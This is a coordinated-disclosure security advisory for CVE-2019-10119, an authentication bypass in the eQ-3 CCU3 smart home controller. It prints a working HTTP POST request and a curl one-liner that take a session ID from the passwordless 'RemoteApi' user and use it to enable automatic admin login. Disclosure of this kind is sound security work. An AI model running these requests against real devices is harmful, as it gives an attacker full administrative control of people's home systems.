OS-S Security Advisory 2019-1

Date: Feb 27, 2019
Updated: Apr 1, 2019
NDA grace period: May, 28 2019
Authors: Oguzhan Cicek, Maik Brüggemann, Ralf Spenneberg
CVE: CVE-2019-10119
Vendor Reference: `https://www.eq-3.de/Downloads/Software/HM-CCU2-Firmware_Updates/HM-CCU-2.41.9/HM-CCU2-Changelog.2.41.9.pdf`
`https://www.eq-3.de/Downloads/Software/CCU3-Firmware/CCU3-3.43.16/CCU3-Changelog.3.43.16.pdf`
Vendor Advisory:
CVSS: 10
Title: CCU3 web login authentication may be fully disabled because of broken authorization
Severity: High
Ease of Exploitation: Trivial
Vulnerability Type: Authentication Bypass
Vendor contacted: Feb 27, 2019
Vendor confirmation: Mar 6, 2019
Device: CCU3
Firmware version: 3.43.15 tested and confirmed

Abstract:

According to the vendor site (https://www.eq-3.com) the CCU3 smart home central control unit is a High-performance Central Control Unit for local and comfortable control of your smart home. It connects and combines the wide range of Homematic IP and Homematic
via the local WebUI configuration interface. It offers numerous and individual configuration and control options using the tried-and-tested WebUI via web browser. It implements highest security with AES-128 encryption and the use of the Homematic IP and Homematic radio protocols.
An attacker can disable the user authentication dialogue of the web interface and enable the automatic login of the admin user. As admin user he may issue any command, enable the SSH interface or replace the firmware.

Detailed description:

The CCU3 uses sessionIDs for the authentication but fails to check their authorization. Any valid sessionID can be used to change the configuration of the CCU3, i.e turn on the automatic login. This may be any valid sessionID. The sessionID of an unprivileged user may be used. Additionally sessionIDs are retrievable without a valid login (username/password combination).

All users are represented by user id internally. The admin always is assigned the user id 1004. All additional users are assigned ids starting with 1238 incremented by 2 for each user. To disable the authentication dialogue and to enable the automatic login as any user, even the admin, the attacker needs two information details:

- valid user id for the configuration of the automatic login (admin = 1004)
- valid sessionID of the webinterface (e.g. @lkbCkLsLQa@)

A valid sessionID can be retrieved by accessing the user authentication dialogue using the built-in user „RemoteApi“. This user does not have a password and the login is disabled by default.
While login attempts with an invalid user like „1234“ are answered by the CCU3 with a redirect to `"GET /login.htm?error=1 HTTP/1.1 […]"` login attempts with the user „RemoteApi“ are answered with a redirect to `"GET /pages/index.htm?sid=@lkbCkLsLQa@ HTTP/1.1 […]"`. The included sessionID can be used for the attack although no user authentication has taken place.

The attack is performed using the following POST-Request:

```
POST /esp/system.htm?sid=@lkbCkLsLQa@ HTTP/1.1
Host: 192.168.44.80
Content-Length: 142
```

```
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.6.0.2
Origin: http://192.168.44.80
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Ubuntu Chromium/70.0.3538.77 Chrome/70.0.3538.77 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

<prototypejs><![CDATA[string%20action%20%3D%20%27setAutoLogin%27%3Binteger
%20alPC%20%3D%201004%3Binteger%20alPDA%20%3D%200%3B]]></prototypejs>
```

The complete attack can be automated using the following snippet, if the CCU3 is accessed using 192.168.222.81:

```
curl --data '<prototypejs><![CDATA[string%20action%20%3D%20%27setAutoLogin
%27%3Binteger%20alPC%20%3D%201004%3Binteger%20alPDA%20%3D%200%3B]]></
prototypejs>' "http://192.168.222.81/esp/system.htm?sid=@"$(curl -H "POST
/login.htm HTTP/1.1" -H "Host: 192.168.222.81" -H "Content-Length: 57" -H
"Cache-Control: max-age=0" -H "Origin: http://192.168.222.81" -H "Upgrade-
Insecure-Requests: 1" -H "Content-Type: application/x-www-form-urlencoded" -H
"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Ubuntu Chromium/71.0.3578.98 Chrome/71.0.3578.98 Safari/537.36" -H
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
apng,*/*;q=0.8" -H "Referer: http://192.168.222.81/login.htm" -H "Accept-
Encoding: gzip, deflate" -H "Accept-Language: de-DE,de;q=0.9,en-
US;q=0.8,en;q=0.7" -H "Connection: close" -d
"tbUsernameShow=RemoteApi&tbUsername=RemoteApi&tbPassword=" -v --silent
http://192.168.222.81/login.htm 2>&1 | grep -o -P '(?<=@).*(?=@)')"@"
```

If the webpage is now accessed without a valid sessionID a new sessionID is assigned and the user is automatically logged in to the webpage as admin user.